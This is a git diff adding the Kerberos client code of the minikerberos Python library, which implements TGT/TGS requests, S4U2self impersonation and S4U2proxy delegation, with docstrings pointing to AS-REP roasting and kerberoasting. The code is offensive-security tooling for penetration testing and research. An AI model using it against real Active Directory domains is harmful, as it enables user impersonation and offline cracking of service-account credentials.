+		pa_pac_opts['padata-type'] = int(PADATA_TYPE('PA-PAC-OPTIONS'))
+		pa_pac_opts['padata-value'] = PA_PAC_OPTIONS({'value' : PA_PAC_OPTIONSTypes(set(['resource-based constrained delegation']))}).dump()
+
+		
+		authenticator_data = {}
+		authenticator_data['authenticator-vno'] = krb5_pvno
+		authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
+		authenticator_data['cname'] = self.kerberos_TGT['cname']
+		authenticator_data['cusec'] = now.microsecond
+		authenticator_data['ctime'] = now.replace(microsecond=0)
+		
+		authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None)
+		
+		ap_req = {}
+		ap_req['pvno'] = krb5_pvno
+		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
+		ap_req['ap-options'] = APOptions(set())
+		ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket'])
+		ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})
+		
+		pa_tgs_req = {}
+		pa_tgs_req['padata-type'] = PaDataType.TGS_REQ.value
+		pa_tgs_req['padata-value'] = AP_REQ(ap_req).dump()
+		
+		
+		krb_tgs_body = {}
+		#krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','forwarded','renewable','renewable-ok', 'canonicalize']))
+		krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','constrained-delegation', 'canonicalize']))
+		krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname()})
+		krb_tgs_body['realm'] = self.usercreds.domain.upper()
+		krb_tgs_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		krb_tgs_body['nonce'] = secrets.randbits(31)
+		krb_tgs_body['etype'] = [supp_enc.value] #selecting according to server's preferences
+		krb_tgs_body['additional-tickets'] = [s4uself_ticket]
+		
+		
+		krb_tgs_req = {}
+		krb_tgs_req['pvno'] = krb5_pvno
+		krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value
+		krb_tgs_req['padata'] = [pa_tgs_req, pa_pac_opts]
+		krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body)
+		
+		req = TGS_REQ(krb_tgs_req)
+		
+		reply = await self.ksoc.sendrecv(req.dump())
+		if reply.name == 'KRB_ERROR':
+			emsg = 'S4U2proxy failed!'
+			if reply.native['error-code'] == 16:
+				emsg = 'S4U2proxy: Failed to get S4U2proxy! Error code (16) indicates that delegation is not enabled for this account!'
+			
+			raise KerberosError(reply, emsg)
+		
+		logger.debug('[S4U2proxy] Got server reply, decrypting...')
+		tgs = reply.native
+		
+		encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native
+		key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
+		
+		self.ccache.add_tgs(tgs, encTGSRepPart)
+		logger.debug('[S4U2proxy] Got valid TGS reply')
+
+		return tgs, encTGSRepPart, key
+		
+	def construct_apreq(self, tgs, encTGSRepPart, sessionkey, flags = None, seq_number = 0, ap_opts = [], cb_data = None):
+		now = datetime.datetime.now(datetime.timezone.utc)
+		authenticator_data = {}
+		authenticator_data['authenticator-vno'] = krb5_pvno
+		authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
+		authenticator_data['cname'] = self.kerberos_TGT['cname']
+		authenticator_data['cusec'] = now.microsecond
+		authenticator_data['ctime'] = now.replace(microsecond=0)
+		if flags is not None:
+			ac = AuthenticatorChecksum()
+			ac.flags = flags
+
+			ac.channel_binding = cb_data
+			if cb_data is None:
+				ac.channel_binding = b'\x00'*16
+			
+			chksum = {}
+			chksum['cksumtype'] = 0x8003
+			chksum['checksum'] = ac.to_bytes()
+			
+			authenticator_data['cksum'] = Checksum(chksum)
+			authenticator_data['seq-number'] = seq_number
+		
+		cipher = _enctype_table[encTGSRepPart['key']['keytype']]
+		authenticator_data_enc = cipher.encrypt(sessionkey, 11, Authenticator(authenticator_data).dump(), None)
+		
+		ap_req = {}
+		ap_req['pvno'] = krb5_pvno
+		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
+		ap_req['ticket'] = Ticket(tgs['ticket'])
+		ap_req['ap-options'] = APOptions(set(ap_opts))
+		ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})
+
+		return AP_REQ(ap_req).dump()
+		
+	@staticmethod
+	def construct_apreq_from_ticket(ticket_data, sessionkey, crealm, cname, flags = None, seq_number = 0, ap_opts = [], cb_data = None):
+		"""
+		ticket: bytes of Ticket
+		"""
+		now = datetime.datetime.now(datetime.timezone.utc)
+		authenticator_data = {}
+		authenticator_data['authenticator-vno'] = krb5_pvno
+		authenticator_data['crealm'] = Realm(crealm)
+		authenticator_data['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [cname]})
+		authenticator_data['cusec'] = now.microsecond
+		authenticator_data['ctime'] = now.replace(microsecond=0)
+		if flags is not None:
+			ac = AuthenticatorChecksum()
+			ac.flags = flags
+			ac.channel_binding = cb_data
+			if cb_data is None:
+				ac.channel_binding = b'\x00'*16
+			
+			chksum = {}
+			chksum['cksumtype'] = 0x8003
+			chksum['checksum'] = ac.to_bytes()
+			
+			authenticator_data['cksum'] = Checksum(chksum)
+			authenticator_data['seq-number'] = seq_number
+		
+		cipher = _enctype_table[sessionkey.enctype]
+		authenticator_data_enc = cipher.encrypt(sessionkey, 11, Authenticator(authenticator_data).dump(), None)
+		
+		ap_req = {}
+		ap_req['pvno'] = krb5_pvno
+		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
+		ap_req['ticket'] = Ticket.load(ticket_data)
+		ap_req['ap-options'] = APOptions(set(ap_opts))
+		ap_req['authenticator'] = EncryptedData({'etype': sessionkey.enctype, 'cipher': authenticator_data_enc})
+
+		return AP_REQ(ap_req).dump()
+		
+	async def getST(self, target_user, service_spn):
+		tgs, encTGSRepPart, key = await self.S4U2self(target_user)
+		return self.S4U2proxy(tgs['ticket'], service_spn)
diff --git a/minikerberos/client.py b/minikerberos/client.py
new file mode 100644
index 0000000..303f7b5
--- /dev/null
+++ b/minikerberos/client.py
@@ -0,0 +1,540 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+import collections
+import datetime
+import secrets
+
+from minikerberos import logger
+from minikerberos.common.ccache import CCACHE
+from minikerberos.network.clientsocket import KerberosClientSocket
+from minikerberos.protocol.asn1_structs import METHOD_DATA, ETYPE_INFO, ETYPE_INFO2, \
+	PADATA_TYPE, PA_PAC_REQUEST, PA_ENC_TS_ENC, EncryptedData, krb5_pvno, KDC_REQ_BODY, \
+	AS_REQ, KDCOptions, PrincipalName, EncASRepPart, EncTGSRepPart, PrincipalName, Realm, \
+	Checksum, APOptions, Authenticator, Ticket, AP_REQ, TGS_REQ, CKSUMTYPE, \
+	PA_FOR_USER_ENC, PA_PAC_OPTIONS, PA_PAC_OPTIONSTypes
+
+from minikerberos.protocol.errors import KerberosErrorCode, KerberosError
+from minikerberos.protocol.encryption import Key, _enctype_table, _HMACMD5
+from minikerberos.protocol.constants import PaDataType, EncryptionType, NAME_TYPE, MESSAGE_TYPE
+from minikerberos.protocol.structures import AuthenticatorChecksum
+
+class KerbrosClient:
+	def __init__(self, ccred, target, ccache = None):
+		self.usercreds = ccred
+		self.target = target
+		self.ksoc = KerberosClientSocket(self.target)
+		self.ccache = CCACHE() if ccache is None else ccache
+		self.kerberos_session_key = None
+		self.kerberos_TGT = None
+		self.kerberos_TGT_encpart = None
+		self.kerberos_TGS = None
+		self.kerberos_cipher = None
+		self.kerberos_cipher_type = None
+		self.kerberos_key = None
+		self.server_salt = None
+		
+	@staticmethod
+	def from_tgt(target, tgt, key):
+		"""
+		Sets up the kerberos object from tgt and the session key.
+		Use this function when pulling the TGT from ccache file.
+		"""
+		kc = KerbrosClient(None, target)
+		kc.kerberos_TGT = tgt
+		
+		kc.kerberos_cipher_type = key['keytype']
+		kc.kerberos_session_key = Key(kc.kerberos_cipher_type, key['keyvalue']) 
+		kc.kerberos_cipher = _enctype_table[kc.kerberos_cipher_type]
+		return kc
+
+	def do_preauth(self, rep):
+		#now getting server's supported encryption methods
+		
+		supp_enc_methods = collections.OrderedDict()
+		for enc_method in METHOD_DATA.load(rep['e-data']).native:					
+			data_type = PaDataType(enc_method['padata-type'])
+			
+			if data_type == PaDataType.ETYPE_INFO or data_type == PaDataType.ETYPE_INFO2:
+				if data_type == PaDataType.ETYPE_INFO:
+					enc_info_list = ETYPE_INFO.load(enc_method['padata-value'])
+					
+				elif data_type == PaDataType.ETYPE_INFO2:
+					enc_info_list = ETYPE_INFO2.load(enc_method['padata-value'])
+		
+				for enc_info in enc_info_list.native:
+					supp_enc_methods[EncryptionType(enc_info['etype'])] = enc_info['salt']
+					logger.debug('Server supports encryption type %s with salt %s' % (EncryptionType(enc_info['etype']).name, enc_info['salt']))
+		
+		logger.debug('Constructing TGT request with auth data')
+		#now to create an AS_REQ with encrypted timestamp for authentication
+		pa_data_1 = {}
+		pa_data_1['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST'))
+		pa_data_1['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump()
+		
+		now = datetime.datetime.now(datetime.timezone.utc)
+		#creating timestamp asn1
+		timestamp = PA_ENC_TS_ENC({'patimestamp': now.replace(microsecond=0), 'pausec': now.microsecond}).dump()
+		
+		supp_enc = self.usercreds.get_preferred_enctype(supp_enc_methods)
+		logger.debug('Selecting common encryption type: %s' % supp_enc.name)
+		self.kerberos_cipher = _enctype_table[supp_enc.value]
+		self.kerberos_cipher_type = supp_enc.value
+		if 'salt' in enc_info and enc_info['salt'] is not None:
+			self.server_salt = enc_info['salt'].encode() 
+		self.kerberos_key = Key(self.kerberos_cipher.enctype, self.usercreds.get_key_for_enctype(supp_enc, salt = self.server_salt))
+		enc_timestamp = self.kerberos_cipher.encrypt(self.kerberos_key, 1, timestamp, None)
+		
+		pa_data_2 = {}
+		pa_data_2['padata-type'] = int(PADATA_TYPE('ENC-TIMESTAMP'))
+		pa_data_2['padata-value'] = EncryptedData({'etype': supp_enc.value, 'cipher': enc_timestamp}).dump()
+		
+		kdc_req_body = {}
+		kdc_req_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','proxiable']))
+		kdc_req_body['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [self.usercreds.username]})
+		kdc_req_body['realm'] = self.usercreds.domain.upper()
+		kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': ['krbtgt', self.usercreds.domain.upper()]})
+		kdc_req_body['till']  = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		kdc_req_body['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		kdc_req_body['nonce'] = secrets.randbits(31)
+		kdc_req_body['etype'] = [supp_enc.value]
+
+		kdc_req = {}
+		kdc_req['pvno'] = krb5_pvno
+		kdc_req['msg-type'] = MESSAGE_TYPE.KRB_AS_REQ.value
+		kdc_req['padata'] = [pa_data_2,pa_data_1]
+		kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body)
+		
+		req = AS_REQ(kdc_req)
+		
+		logger.debug('Sending TGT request to server')
+		return self.ksoc.sendrecv(req.dump())
+
+	def get_TGT(self, override_etype = None, decrypt_tgt = True):
+		"""
+		decrypt_tgt: used for asreproast attacks
+		Steps performed:
+			1. Send and empty (no encrypted timestamp) AS_REQ with all the encryption types we support
+			2. Depending on the response (either error or AS_REP with TGT) we either send another AS_REQ with the encrypted data or return the TGT (or fail miserably)
+			3. PROFIT
+		"""
+		logger.debug('[getTGT] Generating initial TGT without authentication data')
+		now = datetime.datetime.now(datetime.timezone.utc)
+		kdc_req_body = {}
+		kdc_req_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','proxiable']))
+		kdc_req_body['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [self.usercreds.username]})
+		kdc_req_body['realm'] = self.usercreds.domain.upper()
+		kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': ['krbtgt', self.usercreds.domain.upper()]})
+		kdc_req_body['till']  = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		kdc_req_body['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		kdc_req_body['nonce'] = secrets.randbits(31)
+		if override_etype is None:
+			kdc_req_body['etype'] = self.usercreds.get_supported_enctypes()
+		else:
+			kdc_req_body['etype'] = override_etype
+
+		pa_data_1 = {}
+		pa_data_1['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST'))
+		pa_data_1['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump()
+		
+		kdc_req = {}
+		kdc_req['pvno'] = krb5_pvno
+		kdc_req['msg-type'] = MESSAGE_TYPE.KRB_AS_REQ.value
+		kdc_req['padata'] = [pa_data_1]
+		kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body)
+
+		req = AS_REQ(kdc_req)	
+		
+		logger.debug('[getTGT] Sending initial TGT to %s' % self.ksoc.get_addr_str())
+		rep = self.ksoc.sendrecv(req.dump(), throw = False)
+
+		if rep.name != 'KRB_ERROR':
+			#user can do kerberos auth without preauthentication!
+			self.kerberos_TGT = rep.native
+
+			etype = self.kerberos_TGT['enc-part']['etype']
+
+			#if we want to roast the asrep (tgt rep) part then we dont even have the proper keys to decrypt
+			#so we just return, the asrep can be extracted from this object anyhow
+			if decrypt_tgt == False:
+				return
+
+			self.kerberos_cipher = _enctype_table[etype]
+			self.kerberos_cipher_type = etype
+			encryption_type = EncryptionType(self.kerberos_cipher.enctype)
+			enctype = self.usercreds.get_key_for_enctype(encryption_type)
+			self.kerberos_key = Key(self.kerberos_cipher.enctype, enctype)
+			
+		else:
+			if rep.native['error-code'] != KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED.value:
+				raise KerberosError(rep)
+			rep = rep.native
+			logger.debug('[getTGT] Got reply from server, asking to provide auth data')
+			
+			rep = self.do_preauth(rep)
+			logger.debug('[getTGT] Got valid response from server')
+			rep = rep.native
+			self.kerberos_TGT = rep
+
+		cipherText = self.kerberos_TGT['enc-part']['cipher']
+		temp = self.kerberos_cipher.decrypt(self.kerberos_key, 3, cipherText)
+		try:
+			self.kerberos_TGT_encpart = EncASRepPart.load(temp).native
+		except Exception as e:
+			logger.debug('[getTGT] EncAsRepPart load failed, is this linux?')
+			try:
+				self.kerberos_TGT_encpart = EncTGSRepPart.load(temp).native
+			except Exception as e:
+				logger.error('[getTGT] Failed to load decrypted part of the reply!')
+				raise e
+				
+		self.kerberos_session_key = Key(self.kerberos_cipher.enctype, self.kerberos_TGT_encpart['key']['keyvalue'])
+		self.ccache.add_tgt(self.kerberos_TGT, self.kerberos_TGT_encpart, override_pp = True)
+		logger.debug('[getTGT] Got valid TGT')
+		
+		return 
+		
+	def get_TGS(self, spn_user, override_etype = None, is_linux = False):
+		"""
+		Requests a TGS ticket for the specified user.
+		Returns the TGS ticket, end the decrpyted encTGSRepPart.
+
+		spn_user: KerberosTarget: the service user you want to get TGS for.
+		override_etype: None or list of etype values (int) Used mostly for kerberoasting, will override the AP_REQ supported etype values (which is derived from the TGT) to be able to recieve whatever tgs tiecket 
+		"""
+
+		logger.debug('[getTGS] Constructing request for user %s' % spn_user.get_formatted_pname())
+		now = datetime.datetime.now(datetime.timezone.utc)
+		kdc_req_body = {}
+		kdc_req_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','renewable_ok', 'canonicalize']))
+		kdc_req_body['realm'] = spn_user.domain.upper()
+		kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname()})
+		kdc_req_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		kdc_req_body['nonce'] = secrets.randbits(31)
+		if override_etype:
+			kdc_req_body['etype'] = override_etype
+		else:
+			kdc_req_body['etype'] = [self.kerberos_cipher_type]
+
+		authenticator_data = {}
+		authenticator_data['authenticator-vno'] = krb5_pvno
+		authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
+		authenticator_data['cname'] = self.kerberos_TGT['cname']
+		authenticator_data['cusec'] = now.microsecond
+		authenticator_data['ctime'] = now.replace(microsecond=0)
+		
+		if is_linux:
+			ac = AuthenticatorChecksum()
+			ac.flags = 0
+			ac.channel_binding = b'\x00'*16
+			
+			chksum = {}
+			chksum['cksumtype'] = 0x8003
+			chksum['checksum'] = ac.to_bytes()
+			
+			authenticator_data['cksum'] = Checksum(chksum)
+			authenticator_data['seq-number'] = 0
+		
+		authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None)
+		
+		ap_req = {}
+		ap_req['pvno'] = krb5_pvno
+		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
+		ap_req['ap-options'] = APOptions(set())
+		ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket'])
+		ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})
+		
+		pa_data_1 = {}
+		pa_data_1['padata-type'] = PaDataType.TGS_REQ.value
+		pa_data_1['padata-value'] = AP_REQ(ap_req).dump()
+		
+		
+		kdc_req = {}
+		kdc_req['pvno'] = krb5_pvno
+		kdc_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value
+		kdc_req['padata'] = [pa_data_1]
+		kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body)
+		
+		req = TGS_REQ(kdc_req)
+		logger.debug('[getTGS] Constructing request to server')
+		rep = self.ksoc.sendrecv(req.dump())
+		logger.debug('[getTGS] Got reply, decrypting...')
+		tgs = rep.native
+		
+		encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native
+		key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
+		
+		self.ccache.add_tgs(tgs, encTGSRepPart)
+		logger.debug('[getTGS] Got valid reply')
+		self.kerberos_TGS = tgs
+		return tgs, encTGSRepPart, key
+	
+	#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/6a8dfc0c-2d32-478a-929f-5f9b1b18a169
+	def S4U2self(self, user_to_impersonate, supp_enc_methods = [EncryptionType.DES_CBC_CRC,EncryptionType.DES_CBC_MD4,EncryptionType.DES_CBC_MD5,EncryptionType.DES3_CBC_SHA1,EncryptionType.ARCFOUR_HMAC_MD5,EncryptionType.AES256_CTS_HMAC_SHA1_96,EncryptionType.AES128_CTS_HMAC_SHA1_96]):
+		"""
+		user_to_impersonate : KerberosTarget class
+		"""
+		
+		if not self.kerberos_TGT:
+			logger.debug('[S4U2self] TGT is not available! Fetching TGT...')
+			self.get_TGT()
+		
+		supp_enc = self.usercreds.get_preferred_enctype(supp_enc_methods)
+		auth_package_name = 'Kerberos'
+		now = datetime.datetime.now(datetime.timezone.utc)
+		
+		
+		###### Calculating authenticator data
+		authenticator_data = {}
+		authenticator_data['authenticator-vno'] = krb5_pvno
+		authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
+		authenticator_data['cname'] = self.kerberos_TGT['cname']
+		authenticator_data['cusec'] = now.microsecond
+		authenticator_data['ctime'] = now.replace(microsecond=0)
+		
+		authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None)
+		
+		ap_req = {}
+		ap_req['pvno'] = krb5_pvno
+		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
+		ap_req['ap-options'] = APOptions(set())
+		ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket'])
+		ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})
+		
+		pa_data_auth = {}
+		pa_data_auth['padata-type'] = PaDataType.TGS_REQ.value
+		pa_data_auth['padata-value'] = AP_REQ(ap_req).dump()
+		
+		###### Calculating checksum data
+		
+		S4UByteArray = NAME_TYPE.PRINCIPAL.value.to_bytes(4, 'little', signed = False)
+		S4UByteArray += user_to_impersonate.username.encode()
+		S4UByteArray += user_to_impersonate.domain.encode()
+		S4UByteArray += auth_package_name.encode()
+		logger.debug('[S4U2self] S4UByteArray: %s' % S4UByteArray.hex())
+		logger.debug('[S4U2self] S4UByteArray: %s' % S4UByteArray)
+		
+		chksum_data = _HMACMD5.checksum(self.kerberos_session_key, 17, S4UByteArray)
+		logger.debug('[S4U2self] chksum_data: %s' % chksum_data.hex())
+		
+		
+		chksum = {}
+		chksum['cksumtype'] = int(CKSUMTYPE('HMAC_MD5'))
+		chksum['checksum'] = chksum_data
+
+		
+		###### Filling out PA-FOR-USER data for impersonation
+		pa_for_user_enc = {}
+		pa_for_user_enc['userName'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': user_to_impersonate.get_principalname()})
+		pa_for_user_enc['userRealm'] = user_to_impersonate.domain
+		pa_for_user_enc['cksum'] = Checksum(chksum)
+		pa_for_user_enc['auth-package'] = auth_package_name
+		
+		pa_for_user = {}
+		pa_for_user['padata-type'] = int(PADATA_TYPE('PA-FOR-USER'))
+		pa_for_user['padata-value'] = PA_FOR_USER_ENC(pa_for_user_enc).dump()
+	
+		###### Constructing body
+		
+		krb_tgs_body = {}
+		krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','canonicalize']))
+		krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.UNKNOWN.value, 'name-string': [self.usercreds.username]})
+		krb_tgs_body['realm'] = self.usercreds.domain.upper()
+		krb_tgs_body['till']  = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		krb_tgs_body['nonce'] = secrets.randbits(31)
+		krb_tgs_body['etype'] = [supp_enc.value] #selecting according to server's preferences
+		
+		
+		krb_tgs_req = {}
+		krb_tgs_req['pvno'] = krb5_pvno
+		krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value
+		krb_tgs_req['padata'] = [pa_data_auth, pa_for_user]
+		krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body)
+		
+		req = TGS_REQ(krb_tgs_req)
+		
+		logger.debug('[S4U2self] Sending request to server')
+		try:
+			reply = self.ksoc.sendrecv(req.dump())
+		except KerberosError as e:
+			if e.errorcode.value == 16:
+				logger.error('[S4U2self] Failed to get S4U2self! Error code (16) indicates that delegation is not enabled for this account! Full error: %s' % e)
+			
+			raise e
+		
+		logger.debug('[S4U2self] Got reply, decrypting...')
+		tgs = reply.native
+		
+		encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native
+		key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
+		
+		self.ccache.add_tgs(tgs, encTGSRepPart)
+		logger.debug('[S4U2self] Got valid TGS reply')
+		self.kerberos_TGS = tgs
+		return tgs, encTGSRepPart, key
+				
+		
+	# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/c920c148-8a9c-42e9-b8e9-db5755cd281b
+	def S4U2proxy(self, s4uself_ticket, spn_user, supp_enc_methods = [EncryptionType.DES_CBC_CRC,EncryptionType.DES_CBC_MD4,EncryptionType.DES_CBC_MD5,EncryptionType.DES3_CBC_SHA1,EncryptionType.ARCFOUR_HMAC_MD5,EncryptionType.AES256_CTS_HMAC_SHA1_96,EncryptionType.AES128_CTS_HMAC_SHA1_96]):
+		logger.debug('[S4U2proxy] Impersonating %s' % '/'.join(spn_user.get_principalname()))
+		now = datetime.datetime.now(datetime.timezone.utc)
+		supp_enc = self.usercreds.get_preferred_enctype(supp_enc_methods)
+		
+		pa_pac_opts = {}
+		pa_pac_opts['padata-type'] = int(PADATA_TYPE('PA-PAC-OPTIONS'))
+		pa_pac_opts['padata-value'] = PA_PAC_OPTIONS({'value' : PA_PAC_OPTIONSTypes(set(['resource-based constrained delegation']))}).dump()
+
+		
+		authenticator_data = {}
+		authenticator_data['authenticator-vno'] = krb5_pvno
+		authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
+		authenticator_data['cname'] = self.kerberos_TGT['cname']
+		authenticator_data['cusec'] = now.microsecond
+		authenticator_data['ctime'] = now.replace(microsecond=0)
+		
+		authenticator_data_enc = self.kerberos_cipher.encrypt(self.kerberos_session_key, 7, Authenticator(authenticator_data).dump(), None)
+		
+		ap_req = {}
+		ap_req['pvno'] = krb5_pvno
+		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
+		ap_req['ap-options'] = APOptions(set())
+		ap_req['ticket'] = Ticket(self.kerberos_TGT['ticket'])
+		ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})
+		
+		pa_tgs_req = {}
+		pa_tgs_req['padata-type'] = PaDataType.TGS_REQ.value
+		pa_tgs_req['padata-value'] = AP_REQ(ap_req).dump()
+		
+		
+		krb_tgs_body = {}
+		krb_tgs_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','constrained-delegation', 'canonicalize']))
+		krb_tgs_body['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string': spn_user.get_principalname()})
+		krb_tgs_body['realm'] = self.usercreds.domain.upper()
+		krb_tgs_body['till']  = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+		krb_tgs_body['nonce'] = secrets.randbits(31)
+		krb_tgs_body['etype'] = [supp_enc.value] #selecting according to server's preferences
+		krb_tgs_body['additional-tickets'] = [s4uself_ticket]
+		
+		
+		krb_tgs_req = {}
+		krb_tgs_req['pvno'] = krb5_pvno
+		krb_tgs_req['msg-type'] = MESSAGE_TYPE.KRB_TGS_REQ.value
+		krb_tgs_req['padata'] = [pa_tgs_req, pa_pac_opts]
+		krb_tgs_req['req-body'] = KDC_REQ_BODY(krb_tgs_body)
+		
+		req = TGS_REQ(krb_tgs_req)
+		logger.debug('[S4U2proxy] Sending request to server')
+		try:
+			reply = self.ksoc.sendrecv(req.dump())
+		except KerberosError as e:
+			if e.errorcode.value == 16:
+				logger.error('S4U2proxy: Failed to get S4U2proxy! Error code (16) indicates that delegation is not enabled for this account! Full error: %s' % e)
+			
+			raise e
+		logger.debug('[S4U2proxy] Got server reply, decrypting...')
+		tgs = reply.native
+		
+		encTGSRepPart = EncTGSRepPart.load(self.kerberos_cipher.decrypt(self.kerberos_session_key, 8, tgs['enc-part']['cipher'])).native
+		key = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
+		
+		self.ccache.add_tgs(tgs, encTGSRepPart)
+		logger.debug('[S4U2proxy] Got valid TGS reply')
+
+		return tgs, encTGSRepPart, key
+		
+	#def get_something(self, tgs, encTGSRepPart, sessionkey):
+	#	now = datetime.datetime.now(datetime.timezone.utc)
+	#	authenticator_data = {}
+	#	authenticator_data['authenticator-vno'] = krb5_pvno
+	#	authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
+	#	authenticator_data['cname'] = self.kerberos_TGT['cname']
+	#	authenticator_data['cusec'] = now.microsecond
+	#	authenticator_data['ctime'] = now.replace(microsecond=0)
+	#	
+	#	cipher = _enctype_table[encTGSRepPart['key']['keytype']]
+	#	authenticator_data_enc = cipher.encrypt(sessionkey, 11, Authenticator(authenticator_data).dump(), None)
+	#	
+	#	ap_req = {}
+	#	ap_req['pvno'] = krb5_pvno
+	#	ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
+	#	ap_req['ticket'] = Ticket(tgs['ticket'])
+	#	ap_req['ap-options'] = APOptions(set([]))
+	#	ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})
+	#
+	#	return AP_REQ(ap_req).dump()
+
+	def construct_apreq(self, tgs, encTGSRepPart, sessionkey, flags = None, seq_number = 0, ap_opts = []):
+		now = datetime.datetime.now(datetime.timezone.utc)
+		authenticator_data = {}
+		authenticator_data['authenticator-vno'] = krb5_pvno
+		authenticator_data['crealm'] = Realm(self.kerberos_TGT['crealm'])
+		authenticator_data['cname'] = self.kerberos_TGT['cname']
+		authenticator_data['cusec'] = now.microsecond
+		authenticator_data['ctime'] = now.replace(microsecond=0)
+		if flags is not None:
+			ac = AuthenticatorChecksum()
+			ac.flags = flags
+			ac.channel_binding = b'\x00'*16
+			
+			chksum = {}
+			chksum['cksumtype'] = 0x8003
+			chksum['checksum'] = ac.to_bytes()
+			
+			authenticator_data['cksum'] = Checksum(chksum)
+			authenticator_data['seq-number'] = seq_number
+		
+		cipher = _enctype_table[encTGSRepPart['key']['keytype']]
+		authenticator_data_enc = cipher.encrypt(sessionkey, 11, Authenticator(authenticator_data).dump(), None)
+		
+		ap_req = {}
+		ap_req['pvno'] = krb5_pvno
+		ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
+		ap_req['ticket'] = Ticket(tgs['ticket'])
+		ap_req['ap-options'] = APOptions(set(ap_opts))
+		ap_req['authenticator'] = EncryptedData({'etype': self.kerberos_cipher_type, 'cipher': authenticator_data_enc})
+
+		return AP_REQ(ap_req).dump()
+
+	@staticmethod
+	def construct_apreq_from_ticket(ticket_data, sessionkey, crealm, cname, flags = None, seq_number = 0, ap_opts = []):
+		"""
+		ticket: bytes of Ticket
+		"""
